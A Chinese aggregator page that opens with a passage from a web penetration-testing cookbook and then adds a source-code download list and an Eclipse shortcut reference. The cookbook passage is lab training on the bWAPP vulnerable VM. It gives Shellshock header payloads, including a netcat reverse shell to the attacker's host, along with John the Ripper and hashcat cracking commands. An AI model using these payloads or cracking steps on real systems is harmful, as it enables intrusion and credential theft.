pictures/purchased.php来查看非预期购买的图片: 对于 CSRF 工具者,成功执行漏洞需要预置条件。首先,我们需要了解执行特殊操作所需的请求参数,以及我们需要在所有情况中都处理的响应。 这个秘籍中,我们使用了代理和有效用户账户来执行我们所需的操作,来复制和收集所需信息:购买过程中涉及到的请求,这些请求所需的信息,以及执行它们的正确顺序。 一旦我们知道了需要向应用发送什么,我们需要将其自动化,所以我们启动 Web 服务器,并准备页面使调用以正确顺序和正确参数执行。通过使用 onLoad JS 时间,我们确保购买在add和confirm调用之前不会执行。 在每个 CSRF 攻击中,都必须有方法让用户访问我们的恶意站点,同时保持正常站点的登录。这个秘籍中,我们使用应用的特性,它的评论允许 HTML 代码,并可以在这里输入链接。所以当用户点击某个图片评论中的链接时,它就向我们的 Tradebox 盗取站点发送了请求。 最后,当用户访问我们的站点时,它模拟了错误页面,并在购买请求刚刚完成后关闭自己。在这里我们并不需要担心渗透,所以错误页面可以改进一下使用户不怀疑它。这通过 HTML body标签中的onload事件中的 JavaScript 命令(购买操作的调用,和用于关闭窗口的计时器)来完成。这个时间在页面的所有元素完全加载之后触发,换句话说,当add、review和confirm的步骤完成之后。 7.7 使用 Shellsock 执行命令 Shellshock(也叫作Bashdoor)是个在 2014 年九月发现在 Bash shell 中的bug,允许命令通过储存在环境变量中的函数来执行。 Shellshock 和我们渗透测试者有关系,因为开发者有时候允许我们在 PHP 或 CGI 脚本中调用系统命令 – 这些脚本可以利用系统环境变量。 这个秘籍中,我们会在 Bee-box 漏洞虚拟机中利用 Shellshock 漏洞来获得服务器的命令执行权。 操作步骤 登录http://192.168.56.103/bWAPP/。 在Choose your bug下拉框中选择Shellshock Vulnerability (CGI),之后点击Hack。 在文本中,我们看到了一些有趣的东西;Current user: www-data。这可能意味着页面使用系统调用来获得用户名。它给了我们提示:Attack the referrer。 让我们看看背后有什么东西,使用 BurpSuite 来记录请求并重复步骤 2。 让我们查看代理的历史: 我们可以看到,有个iframe调用了 shell 脚本:./cgi-bin/shellshock.sh,这可能存在 Shellshock 漏洞。 让我们跟随提示并尝试攻击shellshock.sh。所以我们首先需要配置 BurpSuite 来拦截服务器的响应,访问Proxy标签页的Options,并选中Intercept responses based on the following rules的选择框。 现在,让 BurpSuite 拦截和重新加载shellshock.php。 在 BurpSuite 中,点击Forward直到得到了/bWAPP/cgi-bin/ shellshock.sh请求,之后将Referer替换为: () { :;}; echo "Vulnerable:" 再次点击Forward,在.ttf文件的请求中,我们应该能得到shellshcok.sh的响应,像这样: 现在响应多了一个协议头参数,叫做Vulnerable。这是因为它将echo命令的输出集成到 HTTP 协议头中,所以我们可以进一步利用它。 现在使用下列命令重复这个过程: () { :;}; echo "Vulnerable:" $(/bin/sh -c "/sbin/ifconfig") 能够在远程服务器上执行命令,对于渗透测试来说是个巨大的优势,下一步自然是获得远程 shell。在 Kali 中打开终端,监听网络端口,像这样: nc -vlp 12345 现在访问 BurpSuite 的代理历史,选择任何shellshock.sh的请求,右击它并发送到 Repeater,像这样: 在 Repeater 中,修改 Referer 的值为: () { :;}; echo "Vulnerable:" $(/bin/sh -c "nc -e /bin/bash 192.168.56.1 12345") 这里,192.168.56.1 是我们 Kali 主机的地址。 点击Go。 如果我们检查我们的终端,我们可以看到连接已建立,执行一些命令来检查我们是否得到了远程 shell。 工作原理 在第一步中,我们发现了 shell 脚本的调用。因为它可以被 shell 解释器运行,它可能是漏洞版本的 bash。为了验证,我们执行了下列测试: () { :;}; echo "Vulnerable:" 第一个部分() { :;};是个空函数,因为 bash 可以将函数储存为环境变量,这个是漏洞的核心。在函数结束之后,解析器会继续解释(并执行)命令,这允许我们执行第二个部分echo "Vulnerable:,这是简单返回输入的命令。 Web 服务器中存在漏洞,因为 CGI 事先将请求的所有部分映射为环境变量,所以这个攻击通过User-Agent或者Accept-Language也能工作。 一旦我们知道了服务器存在漏洞,我们键入测试命令ifconfig并建立反向 shell`。 反向 shell 是一种远程 shell,它的特点是由受害者主机初始化,攻击者监听连接,而不是服务器在绑定连接中等待客户端的连接。 7.8 使用 John the Ripper 和字典来破解密码哈希 在上一个秘籍,以及第六章中,我们从数据库中提取了密码哈希。在执行渗透测试的时候,有时候这是唯一的用于发现密码的方式。为了发现真实的密码,我们需要破译它们。由于哈希由不可逆的函数生成,我们没有办法直接解密密码。所以使用慢速的方法,例如暴力破解和字典攻击就很有必要。 这个秘籍中,我们会使用 John the Ripper(JTR 或 John),最流行的密码破解器,从第六章“逐步执行基本的 SQL注入”秘籍中提取的哈希中恢复密码。 操作步骤 虽然 JTR 对接受的输入非常灵活,为了防止错误解释,我们首先需要以特定格式设置用户名和密码哈希。创建叫做hashes_6_7.txt的文本文件,每行包含一个名称和一个哈希,以冒号分隔(username:hash),像这样: 一旦我们拥有了这个文件,我们可以打开终端并执行下列命令: john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt 我们使用 Kali 预置的单词列表之一。我们可以看到单词列表中六个密码发现了五个,我们也能发现,John 每秒能比较 10,336,000 次(10,336 KC/s)。 John 也有选项来应用修改器规则 – 添加前后缀,修改大小写,以及在每个密码上使用 leetspeak。让我们在仍然未破解的密码上尝试它们: john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt –rules 我们可以看到这个规则生效了,我们得到了最后一个密码。 工作原理 John(以及任何离线密码破解器)的工作方式是计算列表(或所生成的)单词的哈希,并将它们与需要被破解的哈希对比,当存在匹配时,它就假设密码找到了。 第一个命令使用--wordlist选项告诉 John 要使用什么单词。如果忽略了它,它会生成自己的列表来执行爆破攻击。--format选项告诉我们要使用什么算法来生成哈希,如果这个选项被忽略,John 会猜测它,通常带有不错的结果。最后,我们将包含想要破解的哈希的文件传入。 我们可以通过使用--rules选项来增加找到密码的机会,因为在尝试创建更强的密码来破解的时候,它会使用人们对单词所做的常用修改。例如,对于password,John也会尝试下面的东西: Password PASSWORD password123 Pa$$w0rd 7.9 使用 oclHashcat/cudaHashcat 爆破密码哈希 最近,显卡的发展取得了巨大突破,这种芯片中含有成百上千个处理器,它们都并行工作。这里,当应用在密码破解上是,这意味着,如果单个处理每秒可以计算一万个哈希,一个带有上千内核的 GPU 就能够计算一千万个。这可以将破解时间降至一千分之一。 现在我们使用 Hashcat 的 GPU 版本来爆破密码。如果你在 N 卡的电脑上安装的 Kali,你需要 cudeHashcat。如果它安装在 A 卡的电脑上,则需要 oclHashcat。如果你在虚拟机上安装 kali,GPU 破解可能不工作,但是你始终可以在你的主机上安装它,Windows 和 Linux 上都有它的版本。 这个秘籍中,我们会使用 oclHashcat,它和 cudaHashcat 的命令没有区别,虽然 A 卡对于密码破解更加高效。 准备 我们需要确保你正确安装了显卡驱动,oclHashcat 也兼容它们,所以你需要做这些事情: 单独运行 oclHashcat,如果出现问题它会告诉你。 oclhashcat 测试它在跑分模式中支持的每种算法的哈希率。 oclhashcat --benchmark 取决于你的安装,oclHahcat 可能需要在你的特定显卡上强行工作: oclhashcat --benchmark --force 我们会使用上一个秘籍的相同哈希文件。 Kali 默认安装的 oclHashcat 上有一些问题,所以如果你在运行 oclHashcat 的时候出现了问题,你始终可以从官网上下载最新版本,并从你解压的地方直接运行(http://hashcat.net/ oclhashcat/)。 操作步骤 我们首先破解单个哈希,让我们试试admin的哈希: oclhashcat -m 0 -a 3 21232f297a57a5a743894a0e4a801fc3 你可以看到,我们能够直接从命令行中设置哈希,它会在一秒之内破解出来。 现在,为了破解整个文件,我们需要去掉用户名,只保留哈希,像这样: 我们创建了只包含哈希的新文件。 为了破解文件中的哈希,我们只需要在上一条命令中将哈希替换为文件名称。 oclhashcat -m 0 -a 3 hashes_only_6_7.txt 你可以看到,它在三分钟之内涵盖了一到七个字符的所有组合(每秒破解 6.885 亿个哈希)。并且它需要花费多于两个小时来测试八个字符的所有组合。这对于爆破来说十分有效。 工作原理 在这个秘籍中,我们用于执行oclHahcat的参数定义了要使用的哈希算法:-m 0告诉程序使用 MD5 来计算所生成单词的哈希,以及攻击类型,-a 3的意思是我们打算使用纯爆破攻击,并尝试所有可能的字符组合,直到发现了密码。最后,我们在第一种情况中添加了我们打算破解的哈希,第二种情况中我们添加了包含哈希集合的文件。 oclHahcat 也可以使用字典文件来执行混合攻击(爆破加上字典)来定义要测试哪个字符集,并将结果保存到指定文件中(/usr/share/oclhashcat/oclHashcat.pot)。他也可以对单词应用规则,并使用统计模型(马尔科夫链)来增加破解效率。使用--help命令来查看所有选项,像这样: oclhashcat --help
文章
Web App开发  ·  Shell  ·  测试技术  ·  Linux  ·  数据库
2016-10-19
100多个经典常用的网站源码大全实例演示和下载
推荐源码 /Source   更多 > 06-19 最新微信夹娃娃抓娃娃抓猴子游戏三级分销源码小游戏 06-18 最新PHP+Mysql实现新丽都娱乐时时彩系统 06-18 2017最新彩票网站管理系统源码演示下载 06-13 简洁大方的CMS博客系统整站源码下载 06-02 thinkphp开发的EasyWork项目管理系统(OA)最新版 06-02 ThinkPHP开源小型BBS论坛源码 06-02 基于thinkphp开发的天天家教网源码 06-02 thinkphp开源社区系统ThinkSAAS最新版下载 06-02 最新微信公众号文章采集器众大云采集Discuz版插件v8.0破解版下载 06-02 最新PHP高仿小米商城开源电子商务系统源码演示下载 06-02 基于onethink开发的积木云超强CMS系统V1.0最新版下载 06-02 基于ThinkPHP开发的DuxCMS内容管理系统V3.0下载 06-02 百度云盘搜索引擎爬虫BaiduyunSpider基于PHP框架Codeigniter+Python开发 06-02 JAVA开源网络爬虫WebCollector源码下载 系统源码 更多 >  中英文双语php响应式网站源码傻瓜式后台  Thinkphp3.2.3+Mysql高仿千助网站前后台整站源码  最新ecshop仿京东商城网站通用源码 最新微信夹娃娃抓娃娃抓猴子游戏三级分销源码小游戏 最新PHP+Mysql实现新丽都娱乐时时彩系统 2017最新彩票网站管理系统源码演示下载 简洁大方的CMS博客系统整站源码下载 thinkphp开发的EasyWork项目管理系统(OA)最新版 ThinkPHP开源小型BBS论坛源码 基于thinkphp开发的天天家教网源码 thinkphp开源社区系统ThinkSAAS最新版下载 最新微信公众号文章采集器众大云采集Discuz版插件v8.0破解版下载 最新PHP高仿小米商城开源电子商务系统源码演示下载 基于onethink开发的积木云超强CMS系统V1.0最新版下载 基于ThinkPHP开发的DuxCMS内容管理系统V3.0下载 百度云盘搜索引擎爬虫BaiduyunSpider基于PHP框架Codeigniter+Python开发 JAVA开源网络爬虫WebCollector源码下载 thinkphp5.0开发的TwoThink内容管理系统借鉴Onethink的开发理念 thinkphp微信支付以及微信管理系统 基于thinkphp5的开源内容管理系统Cms下载 基于thinkphp开发的开源系统中环cms v2.0下载  hwSlider支持手机app触屏滑动  jquery百度预测焦点图代码  jQuery仿途牛首页定时幻灯片轮播效果 jQuery淘宝产品图片放大镜代码 uploadPreview实现上传图片预览 html5图片堆栈布局点击加载更多图片效果 手机端banner轮播效果 可自定义图片生成数量显示数量轮播 纯CSS3鼠标滑过图片文字动画特效 图片轮换播放器 html5响应式网格图片画廊幻灯片代码 jQuery按钮控制图片层叠轮播切换代码 动感的 3D 网格特效 Jquery图片排列点击展开图片详情代码 jQuery可拖拽3D万花筒旋转特效 jQuery自动放大可全屏播 js交互式3D图片相册动态模糊效果 jQuery扁平手风琴代码 js简单瀑布流图片无限加载带鼠标悬停图片遮罩效果 jQuery css3鼠标悬停图片显示遮罩层动画特效 纯css3动画库鼠标经过图片文字动画特效  bootstrap-treeview.js多级下拉树菜单  clueTip简单实用的信息提示框  jQuery仿天猫左侧分类导航 jQuery实现带按钮的产品切换效果 三级导航菜单 jquery右侧弹出图标导航菜单点击页面切换效果 手机版仿微信导航菜单样式 jQuery侧边栏纵向导航菜单展开收缩代码 js css3镜像文字导航菜单线性动画特效 导航标签跟随滚动到对应文章段落 jQuery手机大众点评下拉菜单选择特效 底部导航菜单【动态波浪效果】 纯html5折叠式导航菜单 jQuery横排下拉导航菜单图片列表显示代码 6款html5手机顶部导航菜单遮罩显示效果 jQuery横向手风琴菜单js导航特效代码免费下载演示 jQuery适用于手机端底部弹出菜单列表代码 js css3仿MacOS苹果系统界面底部菜单动画代码 网页特效免费下载演示 js页面滚动隐藏和显示顶部导航条代码 js网页特效免费下载演示 jQuery产品分类信息导航代码 jQuery鼠标悬停导航向上显示二级菜单代码  tabulous.js效果酷炫的Tab选项卡插件  jquery.bxSlider响应式滑动插件  SuperSlide焦点图_Tab切换_图片滚动_无缝滚动 jQuery鱼骨图形式信息展示代码 27特效效果+72个扩展效果 jquery tab标签选项卡插件打开多个网页选项卡代码 仿浏览器页面标签切换的TAB选项卡代码 实用的bootstrap响应式折角选项卡标签切换代码 swiper制作tab选项卡手机滑动下拉刷新加载代码 超简单可多次使用的jQuery tab选项卡代码 jquery带箭头的滑动选项卡内容切换代码 京东淘宝商城tab栏js切换效果 jQuery鼠标经过水平手风琴展开收缩动画效果 jQuery响应式层叠动画切换内容网页特效 Html简单实现垂直选项卡移动显示内容 可手机划动选项卡-滑动门 纯css3绘制飞行火箭动画特效 jQuery css3彩色动画Tabs选项卡切换特效 javascript实现简易的tab选项卡切换效果 jQuery tab标签选项卡切换特效 html5手机端手指滑动选项卡滚动切换效果  jQuery仿ace添加标签  jQuery间歇滚动跑马灯效果 html5 svg英文单词字母动画特效 纯CSS3鼠标滑过图片文字动画特效 html5大气ppt文字幻灯片演示特效 纯CSS3鼠标经过文字倾斜线性动画特效 jquery中奖名单无间缝向上滚动 html数字滚动、跳动特效 文字无缝滚动效果代码(jQuery) 今日排行榜类滚动源码适应PC和移动 html5 canvas跳舞的文字动画特效 js图片特效代码免费下载演示 html5 canvas燃烧的文字火焰动画特效 jQuery实现模拟滚动条插件版 jquery文字滚动插件带按钮控制文字上下滚动代码 纯css3有趣的文字波浪动画特效 jQuery设置文本框文字大小效果代码 flash红包打开跳出文字动画效果 js文字 生成图片特效 javascript网页点击鼠标拖动写字效果代码 纯css3鼠标悬停图片文字切换动画特效  百度地图根据经纬度获取国家、州市等地址相关信息  jQuery超级简单的绿色拖动验证码功能  Thinkphp整合ucenter同步登录注册退出 jQuery table选中表格行变色 jQuery响应式的选择商品对比筛选代码 jQuery简单的注册表单验证代码 jQuery仿新浪微博评论回复表单代码 jquery简单的用户登录注册页面表单切换效果 纯JS地区选择 三级 下拉框 连动选择 原生JS 实现简单的全选反选 js 表单验证 jquery带提示验证表单 jquery仿招聘网站弹出城市选择信息代码 CSS3网站用户登录设计代码 jQuery向下滚动表格头部固定代码 jQuery省市区三级联动插件city-picker 利用JQuery特效制作城市下拉选择器 jQuery表单验证 html5响应式表格插件设置自适应表格代码 zepto手机触屏滑动拼音字母城市选择器代码 响应式伸缩搜索 prettyPhoto和fancybox弹出层插件对比  ThinkBox仿thinkphp头像名片  viewer.js强大的响应式图片弹出层(360度旋转、放大缩小) 简约扁平风格jQuery确认对话框插件 jQuery仿百度登录窗口弹出可拖动效果 jquery弹窗插件dialog确认对话框窗口代码 js网页特效代码免费下载演示 jquery点击弹出模态窗口提示代码 js网页特效代码免费下载演示 html5弹出窗口手机拖拽效果 jquery colorbox弹出层插件制作图片弹出显示代码 页面弹窗效果 jQuery点击购买按钮弹出商品已售罄提示框 弹出框,6种提示框+输入框 登录弹出框 jQuery layer可拖动弹出框确认投资表单代码 原生js问卷调查投票页面表单代码 jquery可拖动右下角浮动窗口代码 jquery点击弹出登陆窗口 jQuery适用于手机端的弹出层提示对话框插件 layer.js弹出层插件可拖动图片相册弹出窗口代码 jQuery alert网页对话框插件_网页弹出框代码 jquery CSS3制作简洁遮罩弹出层动画代码
文章
移动开发  ·  JavaScript  ·  前端开发  ·  PHP  ·  HTML5
2017-06-30
Eclipse的企业开发时常用快捷键使用、优化配置(博主推荐)
一、简介   eclipse可谓是Java开发界的神器,基本占据了大部分的Java开发市场,而且其官方还对其他语言提供支持,如C++,Ruby,JavaScript等等。为什么使用它?我想离不开下面的一些因素:1、开发界面简洁、大方。2、丰富的插件支持。3、为Java量身定做。4、及其人性化设计。 不得不说,eclipse是业界被广为认可的开发利器,所以,对于这么一款软件,我们必须要学会它的使用及优化配置!       二、常用快捷键(以下非常实用)   eclipse提供了丰富的快捷操作,默认提供很多,我们也可以自己手动设置。希望读者朋友们积极补充,不断完善!   文本编辑   查找并替换 Ctrl+F                  查找上一个 Ctrl+Shift+K                查找下一个 Ctrl+K         撤销 Ctrl+Z       重做 Ctrl+Y       复制 Ctrl+C    快速修正 Ctrl1+1                    恢复上一个选择 Alt+Shift+↓           内容辅助 Alt+/               剪切 Ctrl+X       删除 Delete       存盘 Ctrl+s   全部选中 Ctrl+A                     上下文信息 Alt+?                          全局 放大 Ctrl+=           全局 缩小 Ctrl+-              跳转到类、变量的声明 F3        代码格式化 Ctrl+Shift+f          导入未引用的包 Ctrl+Shift+M         关闭单个窗口 Ctrl+w     整理导入 Ctrl+Shift+o     添加导入 Ctrl+Shift+M   注释代码 Ctrl+/                       取消注释 Ctrl+/                              查找工程中的类 Ctrl+shift+T                               组织导入 Ctrl+Shift+O                         改写切换 Insert                      上滚行 Ctrl+↑                                  下滚行 Ctrl+↓    J          切换窗口 Ctrl+f6(改为alt+tab更方便)   调试   断点单步运行 F6                   断点进入方法体执行 F5                  运行上次程序 F11                 调试上次程序 Ctrl + F11   单步返回 F7                         单步跳入选择 Ctrl+F5                      继续 F8                                 使用过滤器单步执行 Shift+F5    显示 Ctrl+D                          运行上次启动 Ctrl+F11                    运行至行 Ctrl+R                     添加/去除断点 Ctrl+Shift+B  全局 执行 Ctrl+U                  自动修正Ctrl+1   窗口   激活编辑器 F12                     切换编辑器 Ctrl+Shift+W                 上一个编辑器 Ctrl+Shift+F6                上一个视图 Ctrl+Shift+F7  显示系统菜单 Alt+-                显示标尺上下文菜单 Ctrl+W             上一个透视图 Ctrl+Shift+F8                下一个编辑器 Ctrl+F6  显示视图菜单 Ctrl+F10         下一个视图 Ctrl+F7                           下一个透视图 Ctrl+F8    导航 打开结构 Ctrl+F3                  打开类型 Ctrl+Shift+T                 打开类型层次结构 F4             打开声明 F3            打开外部JavaDoc Shift+F2  打开资源 Ctrl+Shift+R          后退历史记录 Alt+←                    前进历史记录 Alt+→              上一个 Ctrl+,            下一个 Ctrl+.  显示大纲 Ctrl+O                   转至上一个成员 Ctrl+Shift+↑        转至上一个编辑位置 Ctrl+Q    在层次结构中打开类型 Ctrl+Shift+H  转至行 Ctrl+L                       转至下一个成员 Ctrl+Shift+↓        转至匹配的括号 Ctrl+Shift+P   搜索 出现在文件中 Ctrl+Shift+U          打开搜索对话框 Ctrl+H           工作区中的声明 Ctrl+G           工作区中的引用 Ctrl+Shift+G    文件   全部保存 Ctrl+Shift+S          剪切 Ctrl+X                         保存 Ctrl+S                打印 Ctrl+P                关闭 Ctrl+F4  全部关闭 Ctrl+Shift+F4        属性 Alt+Enter                    新建 Ctrl+N                项目全部构建 Ctrl+B   重构 撤销重构 Alt+Shift+Z           抽取方法 Alt+Shift+M          抽取局部变量 Alt+Shift+L          内联 Alt+Shift+I  移动 Alt+Shift+V                 重命名 Alt+Shift+R              重做 Alt+Shift+Y       1. ctrl+shift+r:打开资源 ctrl+b编译 ctrl+d删除 2. ctrl+o:快速outline  ---》这个是查看一个类中的用那些方法 3. ctrl+e:快速转换编辑器     这组快捷键将帮助你在打开的编辑器之间浏览。使用ctrl+page down或ctrl+page up可以浏览前后的选项卡,但是在很多文件打开的状态下,ctrl+e会更加有效率。 4. ctrl+2,L:为本地变量赋值 5. alt+shift+r:重命名  6. alt+shift+l 以及alt+shift+m:提取本地变量及方法 7. shift+enter及ctrl+shift+enter  Shift+enter在当前行之下创建一个空白行,与光标是否在行末无关。Ctrl+shift+enter则在当前行之前插入空白行。 8. Alt+方向键     这也是个节省时间的法宝。这个组合将当前行的内容往上或下移动。在try/catch部分,这个快捷方式尤其好使。 9. ctrl+m  大显示屏幕能够提高工作效率是大家都知道的。Ctrl+m是编辑器窗口最大化的快捷键。 Ctrl+1 快速修复(最经典的快捷键,就不用多说了) Ctrl+D: 删除当前行  Ctrl+Alt+↓ 复制当前行到下一行(复制增加) Ctrl+Alt+↑ 复制当前行到上一行(复制增加) Alt+↓ 当前行和下面一行交互位置(特别实用,可以省去先剪切,再粘贴了) Alt+↑ 当前行和上面一行交互位置(同上) Alt+← 前一个编辑的页面 Alt+→ 下一个编辑的页面(当然是针对上面那条来说了) Alt+Enter 显示当前选择资源(工程,or 文件 or文件)的属性 Shift+Enter 在当前行的下一行插入空行(这时鼠标可以在当前行的任一位置,不一定是最后) Shift+Ctrl+Enter 在当前行插入空行(原理同上条) Ctrl+Q 定位到最后编辑的地方 Ctrl+L 定位在某行 (对于程序超过100的人就有福音了) Ctrl+M 最大化当前的Edit或View (再按则反之) Ctrl+/ 注释当前行,再按则取消注释 Ctrl+O 快速显示 OutLine Ctrl+T 快速显示当前类的继承结构 Ctrl+W 关闭当前Editer Ctrl+K 参照选中的Word快速定位到下一个 Ctrl+E 快速显示当前Editer的下拉列表(如果当前页面没有显示的用黑体表示) Ctrl+/(小键盘) 折叠当前类中的所有代码 Ctrl+×(小键盘) 展开当前类中的所有代码 Ctrl+Space 代码助手完成一些代码的插入(但一般和输入法有冲突,可以修改输入法的热键,也可以暂用Alt+/来代替) Ctrl+Shift+E 显示管理当前打开的所有的View的管理器(可以选择关闭,激活等操作) Ctrl+J 正向增量查找(按下Ctrl+J后,你所输入的每个字母编辑器都提供快速匹配定位到某个单词,如果没有,则在stutes line中显示没有找到了,查一个单词时,特别实用,这个功能Idea两年前就有了) Ctrl+Shift+J 反向增量查找(和上条相同,只不过是从后往前查) Ctrl+Shift+F4 关闭所有打开的Editer Ctrl+Shift+X 把当前选中的文本全部变味小写 Ctrl+Shift+Y 把当前选中的文本全部变为小写 Ctrl+Shift+F 格式化当前代码 Ctrl+Shift+P 定位到对于的匹配符(譬如{}) (从前面定位后面时,光标要在匹配符里面,后面到前面,则反之)   下面的快捷键是重构里面常用的,本人就自己喜欢且常用的整理一下(注:一般重构的快捷键都是Alt+Shift开头的了) Alt+Shift+R 重命名 (是我自己最爱用的一个了,尤其是变量和类的Rename,比手工方法能节省很多劳动力) Alt+Shift+M 抽取方法 (这是重构里面最常用的方法之一了,尤其是对一大堆泥团代码有用) Alt+Shift+C 修改函数结构(比较实用,有N个函数调用了这个方法,修改一次搞定) Alt+Shift+L 抽取本地变量( 可以直接把一些魔法数字和字符串抽取成一个变量,尤其是多处调用的时候) Alt+Shift+F 把Class中的local变量变为field变量 (比较实用的功能) Alt+Shift+I 合并变量(可能这样说有点不妥Inline) Alt+Shift+V 移动函数和变量(不怎么常用) Alt+Shift+Z 重构的后悔药(Undo)   编辑 作用域 功能 快捷键  全局 查找并替换 Ctrl+F  文本编辑器 查找上一个 Ctrl+Shift+K  文本编辑器 查找下一个 Ctrl+K  全局 撤销 Ctrl+Z  全局 复制 Ctrl+C  全局 恢复上一个选择 Alt+Shift+↓  全局 剪切 Ctrl+X  全局 快速修正 Ctrl1+1  全局 内容辅助 Alt+/  全局 全部选中 Ctrl+A  全局 删除 Delete  全局 上下文信息 Alt+? Alt+Shift+? Ctrl+Shift+Space  Java编辑器 显示工具提示描述 F2  Java编辑器 选择封装元素 Alt+Shift+↑  Java编辑器 选择上一个元素 Alt+Shift+←  Java编辑器 选择下一个元素 Alt+Shift+→  文本编辑器 增量查找 Ctrl+J  文本编辑器 增量逆向查找 Ctrl+Shift+J  全局 粘贴 Ctrl+V  全局 重做 Ctrl+Y      查看 作用域 功能 快捷键  全局 放大 Ctrl+=  全局 缩小 Ctrl+-      窗口 作用域 功能 快捷键  全局 激活编辑器 F12  全局 切换编辑器 Ctrl+Shift+W  全局 上一个编辑器 Ctrl+Shift+F6  全局 上一个视图 Ctrl+Shift+F7  全局 上一个透视图 Ctrl+Shift+F8  全局 下一个编辑器 Ctrl+F6  全局 下一个视图 Ctrl+F7  全局 下一个透视图 Ctrl+F8  文本编辑器 显示标尺上下文菜单 Ctrl+W  全局 显示视图菜单 Ctrl+F10  全局 显示系统菜单 Alt+-      导航 作用域 功能 快捷键  Java编辑器 打开结构 Ctrl+F3  全局 打开类型 Ctrl+Shift+T  全局 打开类型层次结构 F4  全局 打开声明 F3  全局 打开外部javadoc Shift+F2  全局 打开资源 Ctrl+Shift+R  全局 后退历史记录 Alt+←  全局 前进历史记录 Alt+→  全局 上一个 Ctrl+,  全局 下一个 Ctrl+.  Java编辑器 显示大纲 Ctrl+O  全局 在层次结构中打开类型 Ctrl+Shift+H  全局 转至匹配的括号 Ctrl+Shift+P  全局 转至上一个编辑位置 Ctrl+Q  Java编辑器 转至上一个成员 Ctrl+Shift+↑  Java编辑器 转至下一个成员 Ctrl+Shift+↓  文本编辑器 转至行 Ctrl+L      搜索 作用域 功能 快捷键  全局 出现在文件中 Ctrl+Shift+U  全局 打开搜索对话框 Ctrl+H  全局 工作区中的声明 Ctrl+G  全局 工作区中的引用 Ctrl+Shift+G      文本编辑 作用域 功能 快捷键  文本编辑器 改写切换 Insert  文本编辑器 上滚行 Ctrl+↑  文本编辑器 下滚行 Ctrl+↓      文件 作用域 功能 快捷键  全局 保存 Ctrl+X  Ctrl+S  全局 打印 Ctrl+P  全局 关闭 Ctrl+F4  全局 全部保存 Ctrl+Shift+S  全局 全部关闭 Ctrl+Shift+F4  全局 属性 Alt+Enter  全局 新建 Ctrl+N      项目 作用域 功能 快捷键  全局 全部构建 Ctrl+B      源代码 作用域 功能 快捷键  Java编辑器 格式化 Ctrl+Shift+F  Java编辑器 取消注释 Ctrl+\  Java编辑器 注释 Ctrl+/  Java编辑器 添加导入 Ctrl+Shift+M  Java编辑器 组织导入 Ctrl+Shift+O    ----->自动导入包,当然也会清除掉多余的包 Java编辑器 使用try/catch块来包围 未设置,太常用了,所以在这里列出,建议自己设置。 也可以使用Ctrl+1自动修正。      运行 作用域 功能 快捷键  全局 单步返回 F7  全局 单步跳过 F6  全局 单步跳入 F5  全局 单步跳入选择 Ctrl+F5  全局 调试上次启动 F11  全局 继续 F8  全局 使用过滤器单步执行 Shift+F5  全局 添加/去除断点 Ctrl+Shift+B  全局 显示 Ctrl+D  全局 运行上次启动 Ctrl+F11  全局 运行至行 Ctrl+R  全局 执行 Ctrl+U      重构 作用域 功能 快捷键  全局 撤销重构 Alt+Shift+Z  全局 抽取方法 Alt+Shift+M  全局 抽取局部变量 Alt+Shift+L  全局 内联 Alt+Shift+I  全局 移动 Alt+Shift+V  全局 重命名 Alt+Shift+R  全局 重做 Alt+Shift+Y   文件    新建普通文本          Ctrl+N                新建普通的文本文档    新建浏览器窗口        Ctrl+Shift+B          新建浏览器窗口    新建 HTML 页          Ctrl+Shift+N          创建一个空白的 HTML 页面    打开                  Ctrl+O                打开一个现有的文档    打开头文件            Ctrl+Shift+H          打开 C/C++ 文件的头文件    打印                  Ctrl+P                打印当前文档    保存                  Ctrl+S                保存当前文档  光标    移动光标到上一个制表符Shift+Tab             移动光标到上一个制表符的位置    左移一个字符          Left                  光标向左移动一个字符    选区向左扩展一个字符  Shift+Left            将选定区域向左扩展一个字符    右移一个字符          Right                 光标向右移动一个字符    选区向右扩展一个字符  Shift+Right           将选定区域向右扩展一个字符    文件结尾              Ctrl+End              移动到文档结尾处    选区扩展到文档结尾处  Ctrl+Shift+End        将选定区域扩展到文档结尾处    文件开始              Ctrl+Home             移动到文档开始处    选区扩展到文档开始处  Ctrl+Shift+Home       将选定区域扩展到文档开始处    下移                  Down                  光标下移一行    选区扩展到下一行      Shift+Down            将选定区域扩展到下一行    移动光标到行末        End                   移动光标到当前行行末    选区扩展到当前行行末  Shift+End             将选定区域扩展到当前行行末    移动光标到行首        Home                  移动光标到当前行行首    选区扩展到当前行行首  Shift+Home            将选定区域扩展到当前行行首    上移                  Up                    光标上移一行    选区扩展到上一行      Shift+Up              将选定区域扩展到上一行    光标下移一页          Page Down             光标下移一页    选区扩展到下一页      Shift+Page Down       将选定区域扩展到下一页    光标上移一页          Page Up               光标上移一页    选区扩展到上一页      Shift+Page Up         将选定区域扩展到上一页    向下滚动              Ctrl+Down             向下滚动一行    向上滚动              Ctrl+Up               向上滚动一行    光标移动到屏幕底部    Ctrl+Page Down        光标移动到当前屏幕底部    选区扩展到屏幕底部    Ctrl+Shift+Page Down  将选定区域扩展到当前屏幕底部    光标移动到屏幕顶部    Ctrl+Page Up          光标移动到当前屏幕顶部    选区扩展到屏幕顶部    Ctrl+Shift+Page Up    将选定区域扩展到当前屏幕顶部    移动到上一个单词      Ctrl+Left             移动到上一个单词    选区扩展到上一个单词  Ctrl+Shift+Left       将选定区域扩展到上一个单词    移动到下一个单词      Ctrl+Right            移动到下一个单词    选区扩展到下一个单词  Ctrl+Shift+Right      将选定区域扩展到下一个单词  编辑    删除光标左侧的单词    Backspace             删除光标左侧的单词    删除光标左侧的单词    Backspace             删除光标左侧的单词    删除光标左侧的单词    Ctrl+Backspace        删除光标左侧的单词    单词首字母大写        Ctrl+Shift+U          选定文本中单词的首字母大写    删除                  Delete                删除选定内容    列选择                Alt+C                 开始列选择    复制                  Ctrl+C                复制选定内容到剪贴板    追加复制              Ctrl+Shift+C          复制选定文本并追加到剪贴板钟    剪切                  Ctrl+X                剪切选定内容到剪贴板    追加剪切              Ctrl+Shift+X          剪切选定文本并追加到剪贴板钟    日期                  Ctrl+D                插入当前日期    长型日期              Ctrl+Shift+D          插入当前日期(长型)    减小缩进              Ctrl+Shift+I          减小当前行或选定块的缩进    删除到行结束          Ctrl+Shift+Delete     删除到当前行结束位置    删除到单词结束        Ctrl+Delete           删除到当前单词结束位置    删除行                Alt+Shift+Delete      删除当前行    删除单词              Alt+Delete            删除当前单词    创建字符副本          Ctrl+-                复制上一行的一个字符到当前行    创建当前行副本        Ctrl+J                创建当前行的副本    